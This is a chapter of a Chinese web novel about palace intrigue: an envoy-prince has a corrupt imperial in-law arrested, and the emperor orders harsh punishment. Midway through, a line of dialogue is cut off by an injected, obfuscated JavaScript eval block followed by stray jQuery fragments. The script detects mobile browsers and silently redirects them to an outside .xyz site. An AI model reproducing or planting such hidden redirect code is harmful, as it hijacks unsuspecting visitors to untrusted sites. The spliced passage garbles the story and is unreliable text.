27. 严惩

作品:《不遇风月

    “我道今日府尹为何如此客气,原来是有求于我。”冯纪州皮笑肉不笑。


    何初将带来的酒解封,谄媚笑道,“顶好的女儿红,平日我都舍不得喝的,冯公子尝尝。”


    冯纪州瞅着他,没动,半响才慢悠悠唤人上菜。


    事关己身,何初不再高傲,姿态放低,亲自斟酒,“大皇子将此事全权交给下官来办,依冯公子意思呢?”


    冯纪州尝口酒,满意点点头,“只有把他留在淡江,我们才能继续过太平日子。”


    何初心有顾虑,“谋杀钦差可是死罪。”


    “死罪?他活着回去,你就不是死罪了么?”冯纪州从鼻子里哼了一声,“不是你死就是我活的局面,心慈手软,只能害死自己。”


    “好。”何初似下定决心一般,端起碗与他一碰,仰头干掉,“就按冯公子说的做。”


    冯纪州十分高兴,往日对自己横眉冷眼的何初,今日奴颜屈膝让自己高兴,解决掉徐竟忱这个大隐患更是让自己高兴。


    何初见他高兴,便多劝了几杯,一坛酒多半进了冯纪州肚子。


    ‘砰’一声,冯纪州一头栽在桌上。


    “冯公子?”何初吃了一惊,“冯公子?您这是醉了?”


    冯纪州如死猪一般,哼也不哼一声。


    确定他睡死后,何初神色一敛,快步向外走去,冯府外等候多时的衙役进入院子。


    回到府衙,何初直接把人交给徐竟忱,“人便交给大人了。”


    徐竟忱看冯纪州一动不动,“这是?”


    “喝了点酒。”何初瞥冯纪州一眼,含糊道,“三日后他自会醒来。”显然,这酒不是普通的酒。


    徐竟忱了然,“有劳何大人。”兵不血刃,倒也省事。


    “不敢当。”何初正色道,“下官有一事相求,望大人答应。”


    “但说无妨。”


    “若我这个淡江府尹乌纱帽不保,还望殿下派个为百姓做事的好官来,淡江百姓刚经历疫病,正值困难时期,再经不起任何折腾了。”


    徐竟忱拍拍他的肩,“你这乌纱帽会保住的。”


    自遇刺后,徐竟忱不放心安甯安危,见柳升身手不错,便让他留下保护安甯。


    如今冯纪州被抓,他们很快便要回阊都,柳升来辞行。


    安甯这几日有心观察柳升,身手不错,为人敦厚,且重情重义,便有心留下他,“今后你有何打算?”


    “不知。”柳升摇头,“冯纪州已经离开,或许我会留在淡江,依安姑娘所说,寻个护院的差事,混口饭吃。”


    “看来你还没想好。”安甯问,“可有想过跟我们回阊都?”


    “阊都?”


    “你身手不错,本分敦厚,大皇子身边正需要你这样忠心的护卫。”


    柳升瞪大眼睛,“大皇子?”


    见他不语,安甯道,“若是不愿,我不会强求。”


    “不不不,我没有不愿,我,我愿意。”柳升正色道,“安姑娘对我有恩,若是你想我保护大皇子,我愿意的。”


    “柳升,我帮你,并非为了让你报答。”安甯不愿勉强他,“离开淡江后,便很难再回来了,明日我们出发,到那时,你再给我答复吧。”


    “好。”


    次日,柳升再次出现,“安姑娘。”


    “想好了?”


    “嗯。”柳升点头,这里虽是家乡,有亲人,可亲人都不在了,家乡只留痛苦回忆,若父母在世,也会希望自己过得好的,“我想好了。”


    见他心意已决,安甯不再多言,带他去见徐竟忱,把自己的想法告诉他,徐竟忱自然愿意,而且,冯纪州需专人看护,以防他做出什么事情来。


    冯纪州醒来,发现自己在马车上,旁边坐着一个人,身体健壮,面无表情,有些眼熟。


    “你是……柳升?”柳夕死那一晚,自己见过他。


    “是。”


    冯纪州挣扎着爬起来,“你要把我带去哪里?”


    柳升看着他,认真问道,“你会寻死吗?”


    “你要杀我?”冯纪州心头一缩。


    柳升摇头,“我是问,你会寻死吗?”殿下要带活的冯纪州回阊都,若他寻死,自己便要多加留心了。


    “你要干什么?”冯纪州惊慌环视,企图寻找逃跑的可能。


    牛头不对马嘴的话,柳升便不开口。


    回阊都后,徐竟忱直接将冯纪州押入刑部大牢,出刑部后,进宫,朝见洪道帝。


    洪道帝十分高兴,满脸笑意,“竟忱,你这差事办得好啊,急国之危难,解朝廷燃眉之急,功不可没,说吧,想要什么赏赐?”


    这是父皇第一次如此亲切叫自己名字,徐竟忱内心如荡着一汪春水,道,“为父皇分忧,百姓可安稳度日,便是对儿臣这趟差事最大的嘉奖了。”


    洪道帝挥挥手道,“不要说那些官话,有功者赏有过者罚,你做得好,朕自是要赏的。”


    徐竟忱起身施礼道,“儿臣在淡江遇到一个叫柳升的人,为人忠厚,身手不错,曾救儿臣于千钧一发之际,儿臣想留他在身边做个护卫,请父皇俯准。”


    “这点小事,自己做主便是。”示意他坐下,顿了顿,洪道帝道,“冯纪州是你带回来的,这件事你如何看?”


    本朝最忌外戚弄权,这冯纪州本戴罪之人,不安分待在老家,反而跑到淡江祸乱百姓,这便是犯了大忌。


    徐竟忱坐回椅子,斟酌片刻道,“冯纪州获罪回老家,不知反思,反而私离罚地,嚣张跋扈欺压百姓,行枉法之事,明知儿臣钦差身份,尚且毫无惧心,若不严惩,恐难服众,故儿臣以为,当严查,以儆效尤。”


    “以儆效尤。”洪道帝喃喃,“不错,是该严查。”看向徐竟忱,“你可愿接下此事?”


    这是父皇第一次如此器重自己,徐竟忱当即便答应下来,“儿臣愿为父皇分忧。”


    又一想,若只自己一人查问此事,不管结果如何,老四和老六都会恨上自己,不如二人协同办理,徐竟忱又道,“只是……”


    “只是什么?”


    “冯纪州一事牵扯众多牵连甚广,儿臣一人恐难胜其繁。”徐竟忱面露难色。


    洪道帝会意,“你想找谁帮忙?”


    老四老六于此事有牵扯,需避嫌,定然不行,此事虽由太子起,然他定然不会主动出面,剩下的只有老五徐竟聪。


    徐竟忱道,“五弟德才兼备绰有余裕,又得皇后娘娘亲自教导,故儿臣想请五弟一同调查此事。”


    “准了。”洪道帝痛快答应。


    徐竟忱离开后,洪道帝倚着引枕,有一下没一下的拨弄串珠,脸带笑意。


    高平安观其色,赞道,“大皇子这趟差办得好,在冯纪州一事上,也是进退有度。”


    “嗯。”洪道帝颇认同。


    ~~~~~~


    徐竟忱进屋,早有小丫头上前为他换衣,安甯奉上凉好的茶,“冯纪州的事情,陛下如何说?”


    “父皇将此事交给了我。”徐竟忱整理衣袖,在椅上坐下,“我与五弟一同调查此事。”


    安甯心中一喜,“如此说来,陛下决定严惩了?”


    “父皇最忌外戚弄权,冯纪州抗旨不遵,顶风作案,必是要严惩的。”徐竟忱喝口茶,搁茶杯时,见安甯一脸喜色,“你为何如此关心这件事?”


    安甯嗔道,“冯纪州狗胆包天,我们险些死于他之手,如何……”


    一语未了,有小丫头来报四殿下到,安甯便住了嘴。


    徐竟忱起身笑迎,“四弟今儿个怎么有空到我这里?”


    “大哥立下大功,弟弟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899449|172717||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    特来恭贺。”徐竟璋面含薄怒,“听说大哥从淡江带回一个人来?”


    他消息瞒的结实,人送进刑部,自己才知道这事。


    “四弟若是来问这件事的,请回吧。”徐竟忱收了笑意。


    “怎得,大哥怕我问?”徐竟璋抬眼看去,脸色倏冷,“你想踩着我讨好太子,这点子功劳只怕还不够。”


    “四弟知道不够,我就不知道吗?”徐竟忱反问,“冯纪州是你舅舅,我若去找你,你打算如何做?”


    “自然是……”徐竟璋怔住,秉公执法,是给自己添堵,说情,又会攀扯上自己,倒不如不知。


    徐竟忱劝道,“他犯错,你当避嫌才是,怎么还主动往上凑呢。”


    徐竟璋知他说得有理,心中怒气稍减,“父皇如何说?”


    “父皇对外戚的态度,你不是不知道。”徐竟忱如实道,“冯纪州做下这样的事,如何能善了,父皇命我和五弟严查此事。”


    徐竟璋思索几番,皮笑肉不笑道,“既然父皇命大哥严查此事,大哥照做便是。”说罢,便离开了。


    离开徐竟忱这里,徐竟璋直接来到母妃宫里,冯妃也是刚知晓这事,正在着急,发了好大一通脾气,将自己那个不争气的弟弟骂个狗血淋头。


    徐竟璋进去道,“母妃还是省些力气吧。”


    “我如何能不生气,离开阊都时,我千叮咛万嘱咐,他可倒好,当着钦差和府尹的面就敢杀人。”冯妃怒气不平,“闹成这样,他在刑部大牢倒是安心,我们如何办?你父皇什么态度?”


    徐竟璋道,“父皇命老大和老五严查。”


    “严查?”冯妃吸口凉气,“这可如何是好?”


    “如何是好?”徐景祁走了进来,显然也是为这件事而来,“事情已经闹出来,便不用想着遮掩了,只想如何收拾这烂摊子罢。”


    “你有主意?”徐竟璋问。


    徐景祁在一旁坐下,“自然要有人应下这事的。”


    冯妃想了想道,“你外公?”


    “以外公的官职,还不够做这件事。”徐景祁淡淡道。


    徐竟璋眼眸沉了沉,“你的意思是,让母妃去认下这罪?”


    “不如你去?”徐景祁斜睨着他,“冯纪州在外面仗的可是皇家的势,外公去担下这事,你觉得父皇会信么?既然决定认错,便要拿出态度来。”


    思虑良久,冯妃悠悠开口,“你说得对,既然认错,便要拿出态度来,遮遮掩掩,只会让你父皇心中留下芥蒂,如此,便得不偿失了。”


    说罢,便命人去钗环华服,自行请罪。


    徐竟忱和徐竟聪着手调查冯纪州一事。


    冯妃娘娘亲自到陛下面前请罪,将所有过错归于一身,愿降妃为嫔,陛下命其闭门思过半年,两位皇子有惊无险,得以保全。


    牵涉其中的刑部大臣们,一律被革职。参与此事的差役,被押入大牢,择日问斩。


    另有江南自上至下州府,尤其淡江官员,凡牵涉其中官员,一律革职。


    唯有淡江府尹何初,有皇子徐竟忱求情,陛下对其网开一面,免三月俸禄。


    冯纪州流放两千五百里,永不得回,家人不得从。


    待事情落定,徐竟忱好容易得几日空儿。


    这日喝茶,安甯见他玉佩上的穗子旧了,遂要了玉佩来,要打一个新的系上。


    拿着新线过来,低头一面挑线,一面问,“还要原来颜色,还是换一个?”


    徐竟忱随口道,“还用原来的吧。”


    安甯便选了和原来一样的颜色,一面手上不停,一面和他闲话。


    冯纪州这件事她也是知情人,便多问了两句,徐竟忱也不瞒她,知无不言,听到赵存知被关入狱后,安甯手微顿,遂露出一抹笑来。


    到底是让自己等到了。